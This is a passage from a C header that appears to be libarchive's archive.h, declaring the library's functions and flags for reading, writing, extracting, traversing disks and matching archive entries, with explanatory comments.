archive_read_support_filter_compress(struct archive *); 342 | __LA_DECL int archive_read_support_filter_gzip(struct archive *); 343 | __LA_DECL int archive_read_support_filter_grzip(struct archive *); 344 | __LA_DECL int archive_read_support_filter_lrzip(struct archive *); 345 | __LA_DECL int archive_read_support_filter_lzip(struct archive *); 346 | __LA_DECL int archive_read_support_filter_lzma(struct archive *); 347 | __LA_DECL int archive_read_support_filter_lzop(struct archive *); 348 | __LA_DECL int archive_read_support_filter_none(struct archive *); 349 | __LA_DECL int archive_read_support_filter_program(struct archive *, 350 | const char *command); 351 | __LA_DECL int archive_read_support_filter_program_signature 352 | (struct archive *, const char * /* cmd */, 353 | const void * /* match */, size_t); 354 | __LA_DECL int archive_read_support_filter_rpm(struct archive *); 355 | __LA_DECL int archive_read_support_filter_uu(struct archive *); 356 | __LA_DECL int archive_read_support_filter_xz(struct archive *); 357 | 358 | __LA_DECL int archive_read_support_format_7zip(struct archive *); 359 | __LA_DECL int archive_read_support_format_all(struct archive *); 360 | __LA_DECL int archive_read_support_format_ar(struct archive *); 361 | __LA_DECL int archive_read_support_format_by_code(struct archive *, int); 362 | __LA_DECL int archive_read_support_format_cab(struct archive *); 363 | __LA_DECL int archive_read_support_format_cpio(struct archive *); 364 | __LA_DECL int archive_read_support_format_empty(struct archive *); 365 | __LA_DECL int archive_read_support_format_gnutar(struct archive *); 366 | __LA_DECL int archive_read_support_format_iso9660(struct archive *); 367 | __LA_DECL int archive_read_support_format_lha(struct archive *); 368 | __LA_DECL int archive_read_support_format_mtree(struct archive *); 369 | __LA_DECL int archive_read_support_format_rar(struct archive *); 370 | __LA_DECL int archive_read_support_format_raw(struct archive *); 371 | __LA_DECL int archive_read_support_format_tar(struct archive *); 372 | __LA_DECL int archive_read_support_format_xar(struct archive *); 373 | __LA_DECL int archive_read_support_format_zip(struct archive *); 374 | 375 | /* Functions to manually set the format and filters to be used. This is 376 | * useful to bypass the bidding process when the format and filters to use 377 | * is known in advance. 378 | */ 379 | __LA_DECL int archive_read_set_format(struct archive *, int); 380 | __LA_DECL int archive_read_append_filter(struct archive *, int); 381 | __LA_DECL int archive_read_append_filter_program(struct archive *, 382 | const char *); 383 | __LA_DECL int archive_read_append_filter_program_signature 384 | (struct archive *, const char *, const void * /* match */, size_t); 385 | 386 | /* Set various callbacks. */ 387 | __LA_DECL int archive_read_set_open_callback(struct archive *, 388 | archive_open_callback *); 389 | __LA_DECL int archive_read_set_read_callback(struct archive *, 390 | archive_read_callback *); 391 | __LA_DECL int archive_read_set_seek_callback(struct archive *, 392 | archive_seek_callback *); 393 | __LA_DECL int archive_read_set_skip_callback(struct archive *, 394 | archive_skip_callback *); 395 | __LA_DECL int archive_read_set_close_callback(struct archive *, 396 | archive_close_callback *); 397 | /* Callback used to switch between one data object to the next */ 398 | __LA_DECL int archive_read_set_switch_callback(struct archive *, 399 | archive_switch_callback *); 400 | 401 | /* This sets the first data object. */ 402 | __LA_DECL int archive_read_set_callback_data(struct archive *, void *); 403 | /* This sets data object at specified index */ 404 | __LA_DECL int archive_read_set_callback_data2(struct archive *, void *, 405 | unsigned int); 406 | /* This adds a data object at the specified index. */ 407 | __LA_DECL int archive_read_add_callback_data(struct archive *, void *, 408 | unsigned int); 409 | /* This appends a data object to the end of list */ 410 | __LA_DECL int archive_read_append_callback_data(struct archive *, void *); 411 | /* This prepends a data object to the beginning of list */ 412 | __LA_DECL int archive_read_prepend_callback_data(struct archive *, void *); 413 | 414 | /* Opening freezes the callbacks. */ 415 | __LA_DECL int archive_read_open1(struct archive *); 416 | 417 | /* Convenience wrappers around the above. */ 418 | __LA_DECL int archive_read_open(struct archive *, void *_client_data, 419 | archive_open_callback *, archive_read_callback *, 420 | archive_close_callback *); 421 | __LA_DECL int archive_read_open2(struct archive *, void *_client_data, 422 | archive_open_callback *, archive_read_callback *, 423 | archive_skip_callback *, archive_close_callback *); 424 | 425 | /* 426 | * A variety of shortcuts that invoke archive_read_open() with 427 | * canned callbacks suitable for common situations. The ones that 428 | * accept a block size handle tape blocking correctly. 429 | */ 430 | /* Use this if you know the filename. Note: NULL indicates stdin. */ 431 | __LA_DECL int archive_read_open_filename(struct archive *, 432 | const char *_filename, size_t _block_size); 433 | /* Use this for reading multivolume files by filenames. 434 | * NOTE: Must be NULL terminated. Sorting is NOT done. */ 435 | __LA_DECL int archive_read_open_filenames(struct archive *, 436 | const char **_filenames, size_t _block_size); 437 | __LA_DECL int archive_read_open_filename_w(struct archive *, 438 | const wchar_t *_filename, size_t _block_size); 439 | /* archive_read_open_file() is a deprecated synonym for ..._open_filename(). */ 440 | __LA_DECL int archive_read_open_file(struct archive *, 441 | const char *_filename, size_t _block_size) __LA_DEPRECATED; 442 | /* Read an archive that's stored in memory. */ 443 | __LA_DECL int archive_read_open_memory(struct archive *, 444 | void * buff, size_t size); 445 | /* A more involved version that is only used for internal testing. */ 446 | __LA_DECL int archive_read_open_memory2(struct archive *a, void *buff, 447 | size_t size, size_t read_size); 448 | /* Read an archive that's already open, using the file descriptor. */ 449 | __LA_DECL int archive_read_open_fd(struct archive *, int _fd, 450 | size_t _block_size); 451 | /* Read an archive that's already open, using a FILE *. */ 452 | /* Note: DO NOT use this with tape drives. */ 453 | __LA_DECL int archive_read_open_FILE(struct archive *, FILE *_file); 454 | 455 | /* Parses and returns next entry header. */ 456 | __LA_DECL int archive_read_next_header(struct archive *, 457 | struct archive_entry **); 458 | 459 | /* Parses and returns next entry header using the archive_entry passed in */ 460 | __LA_DECL int archive_read_next_header2(struct archive *, 461 | struct archive_entry *); 462 | 463 | /* 464 | * Retrieve the byte offset in UNCOMPRESSED data where last-read 465 | * header started. 466 | */ 467 | __LA_DECL __LA_INT64_T archive_read_header_position(struct archive *); 468 | 469 | /* Read data from the body of an entry. Similar to read(2). */ 470 | __LA_DECL __LA_SSIZE_T archive_read_data(struct archive *, 471 | void *, size_t); 472 | 473 | /* Seek within the body of an entry. Similar to lseek(2). */ 474 | __LA_DECL __LA_INT64_T archive_seek_data(struct archive *, __LA_INT64_T, int); 475 | 476 | /* 477 | * A zero-copy version of archive_read_data that also exposes the file offset 478 | * of each returned block. Note that the client has no way to specify 479 | * the desired size of the block. The API does guarantee that offsets will 480 | * be strictly increasing and that returned blocks will not overlap. 481 | */ 482 | __LA_DECL int archive_read_data_block(struct archive *a, 483 | const void **buff, size_t *size, __LA_INT64_T *offset); 484 | 485 | /*- 486 | * Some convenience functions that are built on archive_read_data: 487 | * 'skip': skips entire entry 488 | * 'into_buffer': writes data into memory buffer that you provide 489 | * 'into_fd': writes data to specified filedes 490 | */ 491 | __LA_DECL int archive_read_data_skip(struct archive *); 492 | __LA_DECL int archive_read_data_into_fd(struct archive *, int fd); 493 | 494 | /* 495 | * Set read options. 496 | */ 497 | /* Apply option to the format only. */ 498 | __LA_DECL int archive_read_set_format_option(struct archive *_a, 499 | const char *m, const char *o, 500 | const char *v); 501 | /* Apply option to the filter only. */ 502 | __LA_DECL int archive_read_set_filter_option(struct archive *_a, 503 | const char *m, const char *o, 504 | const char *v); 505 | /* Apply option to both the format and the filter. */ 506 | __LA_DECL int archive_read_set_option(struct archive *_a, 507 | const char *m, const char *o, 508 | const char *v); 509 | /* Apply option string to both the format and the filter. */ 510 | __LA_DECL int archive_read_set_options(struct archive *_a, 511 | const char *opts); 512 | 513 | /*- 514 | * Convenience function to recreate the current entry (whose header 515 | * has just been read) on disk. 516 | * 517 | * This does quite a bit more than just copy data to disk. It also: 518 | * - Creates intermediate directories as required. 519 | * - Manages directory permissions: non-writable directories will 520 | * be initially created with write permission enabled; when the 521 | * archive is closed, dir permissions are edited to the values specified 522 | * in the archive. 523 | * - Checks hardlinks: hardlinks will not be extracted unless the 524 | * linked-to file was also extracted within the same session. (TODO) 525 | */ 526 | 527 | /* The "flags" argument selects optional behavior, 'OR' the flags you want. */ 528 | 529 | /* Default: Do not try to set owner/group. */ 530 | #define ARCHIVE_EXTRACT_OWNER (0x0001) 531 | /* Default: Do obey umask, do not restore SUID/SGID/SVTX bits. */ 532 | #define ARCHIVE_EXTRACT_PERM (0x0002) 533 | /* Default: Do not restore mtime/atime. */ 534 | #define ARCHIVE_EXTRACT_TIME (0x0004) 535 | /* Default: Replace existing files. */ 536 | #define ARCHIVE_EXTRACT_NO_OVERWRITE (0x0008) 537 | /* Default: Try create first, unlink only if create fails with EEXIST. */ 538 | #define ARCHIVE_EXTRACT_UNLINK (0x0010) 539 | /* Default: Do not restore ACLs. */ 540 | #define ARCHIVE_EXTRACT_ACL (0x0020) 541 | /* Default: Do not restore fflags. */ 542 | #define ARCHIVE_EXTRACT_FFLAGS (0x0040) 543 | /* Default: Do not restore xattrs. */ 544 | #define ARCHIVE_EXTRACT_XATTR (0x0080) 545 | /* Default: Do not try to guard against extracts redirected by symlinks. */ 546 | /* Note: With ARCHIVE_EXTRACT_UNLINK, will remove any intermediate symlink. */ 547 | #define ARCHIVE_EXTRACT_SECURE_SYMLINKS (0x0100) 548 | /* Default: Do not reject entries with '..' as path elements. */ 549 | #define ARCHIVE_EXTRACT_SECURE_NODOTDOT (0x0200) 550 | /* Default: Create parent directories as needed. */ 551 | #define ARCHIVE_EXTRACT_NO_AUTODIR (0x0400) 552 | /* Default: Overwrite files, even if one on disk is newer. */ 553 | #define ARCHIVE_EXTRACT_NO_OVERWRITE_NEWER (0x0800) 554 | /* Detect blocks of 0 and write holes instead. */ 555 | #define ARCHIVE_EXTRACT_SPARSE (0x1000) 556 | /* Default: Do not restore Mac extended metadata. */ 557 | /* This has no effect except on Mac OS. */ 558 | #define ARCHIVE_EXTRACT_MAC_METADATA (0x2000) 559 | /* Default: Use HFS+ compression if it was compressed. */ 560 | /* This has no effect except on Mac OS v10.6 or later. */ 561 | #define ARCHIVE_EXTRACT_NO_HFS_COMPRESSION (0x4000) 562 | /* Default: Do not use HFS+ compression if it was not compressed. */ 563 | /* This has no effect except on Mac OS v10.6 or later. */ 564 | #define ARCHIVE_EXTRACT_HFS_COMPRESSION_FORCED (0x8000) 565 | 566 | __LA_DECL int archive_read_extract(struct archive *, struct archive_entry *, 567 | int flags); 568 | __LA_DECL int archive_read_extract2(struct archive *, struct archive_entry *, 569 | struct archive * /* dest */); 570 | __LA_DECL void archive_read_extract_set_progress_callback(struct archive *, 571 | void (*_progress_func)(void *), void *_user_data); 572 | 573 | /* Record the dev/ino of a file that will not be written. This is 574 | * generally set to the dev/ino of the archive being read. */ 575 | __LA_DECL void archive_read_extract_set_skip_file(struct archive *, 576 | __LA_INT64_T, __LA_INT64_T); 577 | 578 | /* Close the file and release most resources. */ 579 | __LA_DECL int archive_read_close(struct archive *); 580 | /* Release all resources and destroy the object. */ 581 | /* Note that archive_read_free will call archive_read_close for you. */ 582 | __LA_DECL int archive_read_free(struct archive *); 583 | #if ARCHIVE_VERSION_NUMBER < 4000000 584 | /* Synonym for archive_read_free() for backwards compatibility. */ 585 | __LA_DECL int archive_read_finish(struct archive *) __LA_DEPRECATED; 586 | #endif 587 | 588 | /*- 589 | * To create an archive: 590 | * 1) Ask archive_write_new for an archive writer object. 591 | * 2) Set any global properties. In particular, you should set 592 | * the compression and format to use. 593 | * 3) Call archive_write_open to open the file (most people 594 | * will use archive_write_open_file or archive_write_open_fd, 595 | * which provide convenient canned I/O callbacks for you). 596 | * 4) For each entry: 597 | * - construct an appropriate struct archive_entry structure 598 | * - archive_write_header to write the header 599 | * - archive_write_data to write the entry data 600 | * 5) archive_write_close to close the output 601 | * 6) archive_write_free to cleanup the writer and release resources 602 | */ 603 | __LA_DECL struct archive *archive_write_new(void); 604 | __LA_DECL int archive_write_set_bytes_per_block(struct archive *, 605 | int bytes_per_block); 606 | __LA_DECL int archive_write_get_bytes_per_block(struct archive *); 607 | /* XXX This is badly misnamed; suggestions appreciated. XXX */ 608 | __LA_DECL int archive_write_set_bytes_in_last_block(struct archive *, 609 | int bytes_in_last_block); 610 | __LA_DECL int archive_write_get_bytes_in_last_block(struct archive *); 611 | 612 | /* The dev/ino of a file that won't be archived. This is used 613 | * to avoid recursively adding an archive to itself. */ 614 | __LA_DECL int archive_write_set_skip_file(struct archive *, 615 | __LA_INT64_T, __LA_INT64_T); 616 | 617 | #if ARCHIVE_VERSION_NUMBER < 4000000 618 | __LA_DECL int archive_write_set_compression_bzip2(struct archive *) 619 | __LA_DEPRECATED; 620 | __LA_DECL int archive_write_set_compression_compress(struct archive *) 621 | __LA_DEPRECATED; 622 | __LA_DECL int archive_write_set_compression_gzip(struct archive *) 623 | __LA_DEPRECATED; 624 | __LA_DECL int archive_write_set_compression_lzip(struct archive *) 625 | __LA_DEPRECATED; 626 | __LA_DECL int archive_write_set_compression_lzma(struct archive *) 627 | __LA_DEPRECATED; 628 | __LA_DECL int archive_write_set_compression_none(struct archive *) 629 | __LA_DEPRECATED; 630 | __LA_DECL int archive_write_set_compression_program(struct archive *, 631 | const char *cmd) __LA_DEPRECATED; 632 | __LA_DECL int archive_write_set_compression_xz(struct archive *) 633 | __LA_DEPRECATED; 634 | #endif 635 | 636 | /* A convenience function to set the filter based on the code. */ 637 | __LA_DECL int archive_write_add_filter(struct archive *, int filter_code); 638 | __LA_DECL int archive_write_add_filter_by_name(struct archive *, 639 | const char *name); 640 | __LA_DECL int archive_write_add_filter_b64encode(struct archive *); 641 | __LA_DECL int archive_write_add_filter_bzip2(struct archive *); 642 | __LA_DECL int archive_write_add_filter_compress(struct archive *); 643 | __LA_DECL int archive_write_add_filter_grzip(struct archive *); 644 | __LA_DECL int archive_write_add_filter_gzip(struct archive *); 645 | __LA_DECL int archive_write_add_filter_lrzip(struct archive *); 646 | __LA_DECL int archive_write_add_filter_lzip(struct archive *); 647 | __LA_DECL int archive_write_add_filter_lzma(struct archive *); 648 | __LA_DECL int archive_write_add_filter_lzop(struct archive *); 649 | __LA_DECL int archive_write_add_filter_none(struct archive *); 650 | __LA_DECL int archive_write_add_filter_program(struct archive *, 651 | const char *cmd); 652 | __LA_DECL int archive_write_add_filter_uuencode(struct archive *); 653 | __LA_DECL int archive_write_add_filter_xz(struct archive *); 654 | 655 | 656 | /* A convenience function to set the format based on the code or name. */ 657 | __LA_DECL int archive_write_set_format(struct archive *, int format_code); 658 | __LA_DECL int archive_write_set_format_by_name(struct archive *, 659 | const char *name); 660 | /* To minimize link pollution, use one or more of the following. */ 661 | __LA_DECL int archive_write_set_format_7zip(struct archive *); 662 | __LA_DECL int archive_write_set_format_ar_bsd(struct archive *); 663 | __LA_DECL int archive_write_set_format_ar_svr4(struct archive *); 664 | __LA_DECL int archive_write_set_format_cpio(struct archive *); 665 | __LA_DECL int archive_write_set_format_cpio_newc(struct archive *); 666 | __LA_DECL int archive_write_set_format_gnutar(struct archive *); 667 | __LA_DECL int archive_write_set_format_iso9660(struct archive *); 668 | __LA_DECL int archive_write_set_format_mtree(struct archive *); 669 | __LA_DECL int archive_write_set_format_mtree_classic(struct archive *); 670 | /* TODO: int archive_write_set_format_old_tar(struct archive *); */ 671 | __LA_DECL int archive_write_set_format_pax(struct archive *); 672 | __LA_DECL int archive_write_set_format_pax_restricted(struct archive *); 673 | __LA_DECL int archive_write_set_format_shar(struct archive *); 674 | __LA_DECL int archive_write_set_format_shar_dump(struct archive *); 675 | __LA_DECL int archive_write_set_format_ustar(struct archive *); 676 | __LA_DECL int archive_write_set_format_v7tar(struct archive *); 677 | __LA_DECL int archive_write_set_format_xar(struct archive *); 678 | __LA_DECL int archive_write_set_format_zip(struct archive *); 679 | __LA_DECL int archive_write_zip_set_compression_deflate(struct archive *); 680 | __LA_DECL int archive_write_zip_set_compression_store(struct archive *); 681 | __LA_DECL int archive_write_open(struct archive *, void *, 682 | archive_open_callback *, archive_write_callback *, 683 | archive_close_callback *); 684 | __LA_DECL int archive_write_open_fd(struct archive *, int _fd); 685 | __LA_DECL int archive_write_open_filename(struct archive *, const char *_file); 686 | __LA_DECL int archive_write_open_filename_w(struct archive *, 687 | const wchar_t *_file); 688 | /* A deprecated synonym for archive_write_open_filename() */ 689 | __LA_DECL int archive_write_open_file(struct archive *, const char *_file) 690 | __LA_DEPRECATED; 691 | __LA_DECL int archive_write_open_FILE(struct archive *, FILE *); 692 | /* _buffSize is the size of the buffer, _used refers to a variable that 693 | * will be updated after each write into the buffer. */ 694 | __LA_DECL int archive_write_open_memory(struct archive *, 695 | void *_buffer, size_t _buffSize, size_t *_used); 696 | 697 | /* 698 | * Note that the library will truncate writes beyond the size provided 699 | * to archive_write_header or pad if the provided data is short. 700 | */ 701 | __LA_DECL int archive_write_header(struct archive *, 702 | struct archive_entry *); 703 | __LA_DECL __LA_SSIZE_T archive_write_data(struct archive *, 704 | const void *, size_t); 705 | 706 | /* This interface is currently only available for archive_write_disk handles. */ 707 | __LA_DECL __LA_SSIZE_T archive_write_data_block(struct archive *, 708 | const void *, size_t, __LA_INT64_T); 709 | 710 | __LA_DECL int archive_write_finish_entry(struct archive *); 711 | __LA_DECL int archive_write_close(struct archive *); 712 | /* Marks the archive as FATAL so that a subsequent free() operation 713 | * won't try to close() cleanly. Provides a fast abort capability 714 | * when the client discovers that things have gone wrong. */ 715 | __LA_DECL int archive_write_fail(struct archive *); 716 | /* This can fail if the archive wasn't already closed, in which case 717 | * archive_write_free() will implicitly call archive_write_close(). */ 718 | __LA_DECL int archive_write_free(struct archive *); 719 | #if ARCHIVE_VERSION_NUMBER < 4000000 720 | /* Synonym for archive_write_free() for backwards compatibility. */ 721 | __LA_DECL int archive_write_finish(struct archive *) __LA_DEPRECATED; 722 | #endif 723 | 724 | /* 725 | * Set write options. 726 | */ 727 | /* Apply option to the format only. */ 728 | __LA_DECL int archive_write_set_format_option(struct archive *_a, 729 | const char *m, const char *o, 730 | const char *v); 731 | /* Apply option to the filter only. */ 732 | __LA_DECL int archive_write_set_filter_option(struct archive *_a, 733 | const char *m, const char *o, 734 | const char *v); 735 | /* Apply option to both the format and the filter. */ 736 | __LA_DECL int archive_write_set_option(struct archive *_a, 737 | const char *m, const char *o, 738 | const char *v); 739 | /* Apply option string to both the format and the filter. */ 740 | __LA_DECL int archive_write_set_options(struct archive *_a, 741 | const char *opts); 742 | 743 | /*- 744 | * ARCHIVE_WRITE_DISK API 745 | * 746 | * To create objects on disk: 747 | * 1) Ask archive_write_disk_new for a new archive_write_disk object. 748 | * 2) Set any global properties. In particular, you probably 749 | * want to set the options. 750 | * 3) For each entry: 751 | * - construct an appropriate struct archive_entry structure 752 | * - archive_write_header to create the file/dir/etc on disk 753 | * - archive_write_data to write the entry data 754 | * 4) archive_write_free to cleanup the writer and release resources 755 | * 756 | * In particular, you can use this in conjunction with archive_read() 757 | * to pull entries out of an archive and create them on disk. 758 | */ 759 | __LA_DECL struct archive *archive_write_disk_new(void); 760 | /* This file will not be overwritten. */ 761 | __LA_DECL int archive_write_disk_set_skip_file(struct archive *, 762 | __LA_INT64_T, __LA_INT64_T); 763 | /* Set flags to control how the next item gets created. 764 | * This accepts a bitmask of ARCHIVE_EXTRACT_XXX flags defined above. */ 765 | __LA_DECL int archive_write_disk_set_options(struct archive *, 766 | int flags); 767 | /* 768 | * The lookup functions are given uname/uid (or gname/gid) pairs and 769 | * return a uid (gid) suitable for this system. These are used for 770 | * restoring ownership and for setting ACLs. The default functions 771 | * are naive, they just return the uid/gid. These are small, so reasonable 772 | * for applications that don't need to preserve ownership; they 773 | * are probably also appropriate for applications that are doing 774 | * same-system backup and restore. 775 | */ 776 | /* 777 | * The "standard" lookup functions use common system calls to lookup 778 | * the uname/gname, falling back to the uid/gid if the names can't be 779 | * found. They cache lookups and are reasonably fast, but can be very 780 | * large, so they are not used unless you ask for them. In 781 | * particular, these match the specifications of POSIX "pax" and old 782 | * POSIX "tar". 783 | */ 784 | __LA_DECL int archive_write_disk_set_standard_lookup(struct archive *); 785 | /* 786 | * If neither the default (naive) nor the standard (big) functions suit 787 | * your needs, you can write your own and register them. Be sure to 788 | * include a cleanup function if you have allocated private data. 789 | */ 790 | __LA_DECL int archive_write_disk_set_group_lookup(struct archive *, 791 | void * /* private_data */, 792 | __LA_INT64_T (*)(void *, const char *, __LA_INT64_T), 793 | void (* /* cleanup */)(void *)); 794 | __LA_DECL int archive_write_disk_set_user_lookup(struct archive *, 795 | void * /* private_data */, 796 | __LA_INT64_T (*)(void *, const char *, __LA_INT64_T), 797 | void (* /* cleanup */)(void *)); 798 | __LA_DECL __LA_INT64_T archive_write_disk_gid(struct archive *, const char *, __LA_INT64_T); 799 | __LA_DECL __LA_INT64_T archive_write_disk_uid(struct archive *, const char *, __LA_INT64_T); 800 | 801 | /* 802 | * ARCHIVE_READ_DISK API 803 | * 804 | * This is still evolving and somewhat experimental. 805 | */ 806 | __LA_DECL struct archive *archive_read_disk_new(void); 807 | /* The names for symlink modes here correspond to an old BSD 808 | * command-line argument convention: -L, -P, -H */ 809 | /* Follow all symlinks. */ 810 | __LA_DECL int archive_read_disk_set_symlink_logical(struct archive *); 811 | /* Follow no symlinks. */ 812 | __LA_DECL int archive_read_disk_set_symlink_physical(struct archive *); 813 | /* Follow symlink initially, then not. */ 814 | __LA_DECL int archive_read_disk_set_symlink_hybrid(struct archive *); 815 | /* TODO: Handle Linux stat32/stat64 ugliness. */ 816 | __LA_DECL int archive_read_disk_entry_from_file(struct archive *, 817 | struct archive_entry *, int /* fd */, const struct stat *); 818 | /* Look up gname for gid or uname for uid. */ 819 | /* Default implementations are very, very stupid. */ 820 | __LA_DECL const char *archive_read_disk_gname(struct archive *, __LA_INT64_T); 821 | __LA_DECL const char *archive_read_disk_uname(struct archive *, __LA_INT64_T); 822 | /* "Standard" implementation uses getpwuid_r, getgrgid_r and caches the 823 | * results for performance. */ 824 | __LA_DECL int archive_read_disk_set_standard_lookup(struct archive *); 825 | /* You can install your own lookups if you like. */ 826 | __LA_DECL int archive_read_disk_set_gname_lookup(struct archive *, 827 | void * /* private_data */, 828 | const char *(* /* lookup_fn */)(void *, __LA_INT64_T), 829 | void (* /* cleanup_fn */)(void *)); 830 | __LA_DECL int archive_read_disk_set_uname_lookup(struct archive *, 831 | void * /* private_data */, 832 | const char *(* /* lookup_fn */)(void *, __LA_INT64_T), 833 | void (* /* cleanup_fn */)(void *)); 834 | /* Start traversal. */ 835 | __LA_DECL int archive_read_disk_open(struct archive *, const char *); 836 | __LA_DECL int archive_read_disk_open_w(struct archive *, const wchar_t *); 837 | /* 838 | * Request that current entry be visited. If you invoke it on every 839 | * directory, you'll get a physical traversal. This is ignored if the 840 | * current entry isn't a directory or a link to a directory. So, if 841 | * you invoke this on every returned path, you'll get a full logical 842 | * traversal. 843 | */ 844 | __LA_DECL int archive_read_disk_descend(struct archive *); 845 | __LA_DECL int archive_read_disk_can_descend(struct archive *); 846 | __LA_DECL int archive_read_disk_current_filesystem(struct archive *); 847 | __LA_DECL int archive_read_disk_current_filesystem_is_synthetic(struct archive *); 848 | __LA_DECL int archive_read_disk_current_filesystem_is_remote(struct archive *); 849 | /* Request that the access time of the entry visited by travesal be restored. */ 850 | __LA_DECL int archive_read_disk_set_atime_restored(struct archive *); 851 | /* 852 | * Set behavior. The "flags" argument selects optional behavior. 853 | */ 854 | /* Request that the access time of the entry visited by travesal be restored. 855 | * This is the same as archive_read_disk_set_atime_restored. */ 856 | #define ARCHIVE_READDISK_RESTORE_ATIME (0x0001) 857 | /* Default: Do not skip an entry which has nodump flags. */ 858 | #define ARCHIVE_READDISK_HONOR_NODUMP (0x0002) 859 | /* Default: Skip a mac resource fork file whose prefix is "._" because of 860 | * using copyfile. */ 861 | #define ARCHIVE_READDISK_MAC_COPYFILE (0x0004) 862 | /* Default: Do not traverse mount points. */ 863 | #define ARCHIVE_READDISK_NO_TRAVERSE_MOUNTS (0x0008) 864 | 865 | __LA_DECL int archive_read_disk_set_behavior(struct archive *, 866 | int flags); 867 | 868 | /* 869 | * Set archive_match object that will be used in archive_read_disk to 870 | * know whether an entry should be skipped. The callback function 871 | * _excluded_func will be invoked when an entry is skipped by the result 872 | * of archive_match. 873 | */ 874 | __LA_DECL int archive_read_disk_set_matching(struct archive *, 875 | struct archive *_matching, void (*_excluded_func) 876 | (struct archive *, void *, struct archive_entry *), 877 | void *_client_data); 878 | __LA_DECL int archive_read_disk_set_metadata_filter_callback(struct archive *, 879 | int (*_metadata_filter_func)(struct archive *, void *, 880 | struct archive_entry *), void *_client_data); 881 | 882 | /* 883 | * Accessor functions to read/set various information in 884 | * the struct archive object: 885 | */ 886 | 887 | /* Number of filters in the current filter pipeline. */ 888 | /* Filter #0 is the one closest to the format, -1 is a synonym for the 889 | * last filter, which is always the pseudo-filter that wraps the 890 | * client callbacks. */ 891 | __LA_DECL int archive_filter_count(struct archive *); 892 | __LA_DECL __LA_INT64_T archive_filter_bytes(struct archive *, int); 893 | __LA_DECL int archive_filter_code(struct archive *, int); 894 | __LA_DECL const char * archive_filter_name(struct archive *, int); 895 | 896 | #if ARCHIVE_VERSION_NUMBER < 4000000 897 | /* These don't properly handle multiple filters, so are deprecated and 898 | * will eventually be removed. */ 899 | /* As of libarchive 3.0, this is an alias for archive_filter_bytes(a, -1); */ 900 | __LA_DECL __LA_INT64_T archive_position_compressed(struct archive *) 901 | __LA_DEPRECATED; 902 | /* As of libarchive 3.0, this is an alias for archive_filter_bytes(a, 0); */ 903 | __LA_DECL __LA_INT64_T archive_position_uncompressed(struct archive *) 904 | __LA_DEPRECATED; 905 | /* As of libarchive 3.0, this is an alias for archive_filter_name(a, 0); */ 906 | __LA_DECL const char *archive_compression_name(struct archive *) 907 | __LA_DEPRECATED; 908 | /* As of libarchive 3.0, this is an alias for archive_filter_code(a, 0); */ 909 | __LA_DECL int archive_compression(struct archive *) 910 | __LA_DEPRECATED; 911 | #endif 912 | 913 | __LA_DECL int archive_errno(struct archive *); 914 | __LA_DECL const char *archive_error_string(struct archive *); 915 | __LA_DECL const char *archive_format_name(struct archive *); 916 | __LA_DECL int archive_format(struct archive *); 917 | __LA_DECL void archive_clear_error(struct archive *); 918 | __LA_DECL void archive_set_error(struct archive *, int _err, 919 | const char *fmt, ...) __LA_PRINTF(3, 4); 920 | __LA_DECL void archive_copy_error(struct archive *dest, 921 | struct archive *src); 922 | __LA_DECL int archive_file_count(struct archive *); 923 | 924 | /* 925 | * ARCHIVE_MATCH API 926 | */ 927 | __LA_DECL struct archive *archive_match_new(void); 928 | __LA_DECL int archive_match_free(struct archive *); 929 | 930 | /* 931 | * Test if archive_entry is excluded. 932 | * This is a convenience function. This is the same as calling all 933 | * archive_match_path_excluded, archive_match_time_excluded 934 | * and archive_match_owner_excluded. 935 | */ 936 | __LA_DECL int archive_match_excluded(struct archive *, 937 | struct archive_entry *); 938 | 939 | /* 940 | * Test if pathname is excluded. The conditions are set by following functions. 941 | */ 942 | __LA_DECL int archive_match_path_excluded(struct archive *, 943 | struct archive_entry *); 944 | /* Add exclusion pathname pattern. */ 945 | __LA_DECL int archive_match_exclude_pattern(struct archive *, const char *); 946 | __LA_DECL int archive_match_exclude_pattern_w(struct archive *, 947 | const wchar_t *); 948 | /* Add exclusion pathname pattern from file. */ 949 | __LA_DECL int archive_match_exclude_pattern_from_file(struct archive *, 950 | const char *, int _nullSeparator); 951 | __LA_DECL int archive_match_exclude_pattern_from_file_w(struct archive *, 952 | const wchar_t *, int _nullSeparator); 953 | /* Add inclusion pathname pattern. */ 954 | __LA_DECL int archive_match_include_pattern(struct archive *, const char *); 955 | __LA_DECL int archive_match_include_pattern_w(struct archive *, 956 | const wchar_t *); 957 | /* Add inclusion pathname pattern from file. */ 958 | __LA_DECL int archive_match_include_pattern_from_file(struct archive *, 959 | const char *, int _nullSeparator); 960 | __LA_DECL int archive_match_include_pattern_from_file_w(struct archive *, 961 | const wchar_t *, int _nullSeparator); 962 | /* 963 | * How to get statistic information for inclusion patterns. 964 | */ 965 | /* Return the amount number of unmatched inclusion patterns. */ 966 | __LA_DECL int archive_match_path_unmatched_inclusions(struct archive *); 967 | /* Return the pattern of unmatched inclusion with ARCHIVE_OK. 968 | * Return ARCHIVE_EOF if there is no inclusion pattern. */ 969 | __LA_DECL int archive_match_path_unmatched_inclusions_next( 970 | struct archive *, const char **); 971 | __LA_DECL int archive_match_path_unmatched_inclusions_next_w( 972 | struct archive *, const wchar_t **); 973 | 974 | /* 975 | * Test if a file is excluded by its time stamp. 976 | * The conditions are set by following functions. 977 | */ 978 | __LA_DECL int archive_match_time_excluded(struct archive *, 979 | struct archive_entry *); 980 | 981 | /* 982 | * Flags to tell a matching type of time stamps. These are used for 983 | * following functinos. 984 | */ 985 | /* Time flag: mtime to be tested. */ 986 | #define ARCHIVE_MATCH_MTIME (0x0100) 987 | /* Time flag: ctime to be tested. */ 988 | #define ARCHIVE_MATCH_CTIME (0x0200) 989 | /* Comparison flag: Match the time if it is newer than. */ 990 | #define ARCHIVE_MATCH_NEWER (0x0001) 991 | /* Comparison flag: Match the time if it is older than. */ 992 | #define ARCHIVE_MATCH_OLDER (0x0002) 993 | /* Comparison flag: Match the time if it is equal to. */ 994 | #define ARCHIVE_MATCH_EQUAL (0x0010) 995 | /* Set inclusion time. */ 996 | __LA_DECL int archive_match_include_time(struct archive *, int _flag, 997 | time_t _sec, long _nsec); 998 | /* Set inclusion time by a date string. */ 999 | __LA_DECL int archive_match_include_date(struct archive *, int _flag, 1000 | const char *_datestr); 1001 | __LA_DECL int archive_match_include_date_w(struct archive *, int _flag, 1002 | const wchar_t *_datestr); 1003 | /* Set inclusion time by a particluar file. */ 1004 | __LA_DECL int archive_match_include_file_time(struct archive *, 1005 | int _flag, const char *_pathname); 1006 | __LA_DECL int archive_match_include_file_time_w(struct archive *, 1007 | int _flag, const wchar_t *_pathname); 1008 | /* Add exclusion entry. */ 1009 | __LA_DECL int archive_match_exclude_entry(struct 